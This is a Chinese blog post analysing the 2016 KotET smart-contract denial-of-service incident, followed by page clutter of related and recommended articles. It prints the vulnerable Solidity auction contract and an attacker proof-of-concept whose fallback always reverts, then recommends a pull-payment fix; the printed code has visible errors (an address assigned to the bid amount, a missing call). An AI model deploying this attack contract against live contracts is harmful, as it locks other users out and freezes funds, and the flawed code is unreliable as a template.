现实世界中的网络都是有带宽限制的,想象一下,一个访问量稳定的网站,突然有人利用某种方式爆发式的将网站的访问量提升,这个时候系统会作何反应?如果系统没有合理的防DOS攻击的方式,这种时候往往会造成服务器瘫痪/崩溃。

DOS,即Denial of Service,拒绝服务。造成服务器拒绝服务的攻击被称为DOS攻击。早在区块链之前,互联网世界就存在的一种攻击方式。在智能合约中,往往有一部分函数的执行是依赖于外部调用的结果,这种情况下又没有对外部返回的结果做严格控制,比如外部长期不返回或者返回结果非预期的处理。这种情况就有可能产生一些安全事故。本文介绍的就是由Dos攻击导致的KotET安全漏洞事件。

事件介绍

KotET是一个区块链游戏的简称,游戏中设立了一个“王位”,玩家通过发送ether给智能合约参与对王位的竞选。如果A出价10ETH获得“王位”后,B在出价20ETH,那么合约会将10ETH返回给A,将王位转移给B。然而在2016年2月6日至8日期间,许多玩家发现无论发送多少的eth给合约来竞争王位都不能成功。

漏洞原因

先看一下合约的源码:

pragma solidity ^0.4.22;

contract Auction {
address public currentLeader;
  uint256 public highestBid;
   
  function bid() public payable{ //竞选方法
      require(msg.value > highestBid); //判断当前投入eth是否大于之前的最大值
      require(currentLeader.send(highestBid));//如果大于 把原有的王位拥有者的金钱退回
      currentLeader =msg.sender; //当选新的国王
      highestBid =currentLeader;
  }
}

这是一段非常简单的合约代码,逻辑笔者都已经注释。接下来讲一下黑客的思路:因为bid方法首先判断了金额的大小,满足条件以后先将上一个“国王”退位,在赋值新的“国王”。那么如果上一个国王一直不退位,是不是就可以一直没有新的国王当选呢?

在看一下黑客的攻击代码:

interface Auction{  //定义原有接口 方便调用
  function bid() external payable;
}
contract POC{ //定义攻击合约
  address owner;
  Auction auInstance;  
  constructor() public{
      owner =msg.sender;
  }
  modifier onlyOwner(){
      require(owner == msg.sender);
      _;
  }
  function setInstance(address addr) public onlyOwner{ //实例化指定合约
      auInstance =Auction(addr);
  }
  function attack() public onlyOwner{ //攻击方法
      auInstance.bid.value(msg.value);
  }
  function () external payable{ //合约默认回调
      revert();
  }
}

上述的代码中,攻击者申明了一个POC合约,在合约中定义了一个攻击方法。顺着这个方法的思路:

1.攻击者首先调用Auction 实例化的合约,然后调用合约的bid方法,传递一定量的ether。首先攻击者要满足:require(msg.value > highestBid);这样攻击者创建的这个合约地址会当选为国王。

2.当有其他玩家入场,发送了多于上一次数量的ether以后,那么正常流程的话合约的bid方法的第二步会调用POC合约的send方法退回金额,然后让攻击者退位。但是攻击者早就准备就绪。当send方法调用时首先会调用POC合约的回调函数,回调函数的实现内容是revert()函数,也就说无论结果如何都执行不成功。那么就导致了require(currentLeader.send(highestBid))执行时永远不会成功,所以其他竞争者无论投入多少eth服务器都会没有响应。这就完成了一次DOS攻击。

防范

这种攻击能实现的主要原因还是因为合约的实现过程中把方法的调用结果交由外部的返回结果来控制。这就为很多攻击留下了隐患。所以我们在思考如何防范的时候应该思考的是化被动为主动,可以在合约中建立一个mapping,每个用户可以退的金额多少存储在mapping中,由用户自己主动去请求合约来实现金额的退回。

其实在笔者的角度来看,DOS攻击在互联网的世界中其实是没有办法完全避免的,只能通过一定的手段来防护。降低这种攻击带来的危害。

智能合约安全事故回顾(3)-DOS漏洞导致的KotET事件的更多相关文章

  1. 【原创】智能合约安全事故回顾分析(1):The Dao事件

    首先需要说明的一点是,这个世界上没有绝对安全的技术.在区块链发展的十年里,各种基于区块链的数字货币引发的安全事故层出不穷,这些安全威胁主要来源有三个方面: 自身安全机制的问题,类似智能合约. 生态安全 ...

  2. 智能合约安全事故回顾(2)-BEC溢出攻击

    讲溢出攻击之前,先给大家讲个故事:2014年的时候,美国的宾夕法尼亚州的某个小镇上发生了一个乌龙事件,征兵系统对一万多名1893年到1897出生的男子发去信函,要求他们注册参军,否则面临罚款和监禁.收 ...

  3. 【阿菜读论文】ContractFuzzer:fuzzing方法挖掘智能合约漏洞

    论文简介 论文标题:ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection 论文链接:ContractFuzzer: F ...

  4. 以NGK 呼叫河马为例分析智能合约漏洞在哪?

    合约交易是指买方和卖方根据约定,在未来某一时刻,以指定价格接受某一资产的协议. 合约是买卖双方之间权利义务的表现形式.合约交易是一种金融衍生工具,与现货市场相比,用户通过判断期货合约交易的涨跌,选择买 ...

  5. 智能合约bug以及修改方案

    截取两篇文章:第一遍文章说的是智能合约能不能修改的问题: ETC转到ETH地址以及转币进ETH智能合约账户能不能转出来? 第0章 引言 如果ETC充值到了ETH地址上,能找回来吗?答案是不一定. ET ...

  6. 智能合约开发solidity编程语言开发一个以太坊应用区块链投票实例

    智能合约开发用solidity编程语言部署在以太坊这个区块链平台,本文提供一个官方实战示例快速入门,用例子深入浅出智能合约开发,体会以太坊构建去中心化可信交易技术魅力.智能合约其实是"执行合 ...

  7. Go语言打造以太坊智能合约测试框架(level3)

    传送门: 柏链项目学院 第三课 智能合约自动化测试 之前课程回顾 我们之前介绍了go语言调用exec处理命令行,介绍了toml配置文件的处理,以及awk处理文本文件获得ABI信息.我们的代码算是完成了 ...

  8. Go语言打造以太坊智能合约测试框架(level2)

    传送门: 柏链项目学院 第二课 智能合约自动化编译 前期内容回顾 之前我们的介绍的是如何通过solc编译智能合约,并且调用智能合约,本节我们继续实践,将智能合约的代码自动化编译以及abi文件生成搞定. ...

  9. [转]EOS智能合约 & 私链激活 & 基本操作

    链接:https://www.jianshu.com/p/90dea623ffdf 简介 本篇文章,将跟大家介绍eos私链的激活.基础智能合约的安装,以及为大家演示转账等基础操作.还没有安装eos私链 ...

随机推荐

  1. 【转】gem install libv8 错误

    转自:http://my.oschina.net/moks/blog/200344 [摘要]Because libv8 is the interface for the V8 engine used ...

  2. JAVA基础知识(13)-----Lock接口

    Lock接口:多线程在JDK1.5版本升级时,推出一个接口Lock接口.解决线程安全问题使用同步的形式,(同步代码块,要么同步函数)其实最终使用的都是锁机制. 到了后期版本,直接将锁封装成了对象.线程 ...

  3. volatile语义

    volatile在Java内存模型(JMM)中,保证共享变量对所有线程可见,但不保证原子性.volatile语义是同步,通过共享变量的方式,完成线程间的通信. 为什么需要volatile Java内存 ...

  4. 第六章 Java并发容器和框架

    ConcurrentHashMap的实现原理与使用 ConcurrentHashMap是线程安全且高效的hashmap.本节让我们一起研究一下该容器是如何在保证线程安全的同时又能保证高效的操作. 为什 ...

  5. rsync mac->windows openssh

    rsync -azvP --progress -e "ssh -p 6666" /Users/codar/360\344\272\221\347\233\230/ghld/ rsy ...

  6. Shell编程进阶 1.3data命令

    date命令是显示日期时间的命令 date 2016年 01月 01日 星期五 15:05:01 CST 修改时间的选项是 -s date -s "2016-01-01 12:56:10&q ...

  7. MyBatis总结一:快速入门

    简介 MyBatis 是一款优秀的持久层框架,它支持定制化 SQL.存储过程以及高级映射.MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集.MyBatis 可以使用简单的 ...

  8. No bean class specified on bean definition 解决方案

    调试Spring项目出现No bean class specified on bean definition异常 但是控制台并没有给出其他相关信息了 这个时候可以在AbstractBeanDefini ...

  9. vue-resource基础介绍

    1.vue-resource 的请求api是按照rest风格设计的,它提供了7种请求api get(url, [data], [options]); head(url,[data],[options] ...

  10. Navicat MySQL安装

    1 下载安装包 点击下载安装包 2 解压安装包(解压后有三个文件) 第一个 Crack 是注册文件 第二个 chinese.rar 是汉化包 第三个 navicat_trial.exe 是安装程序 3 ...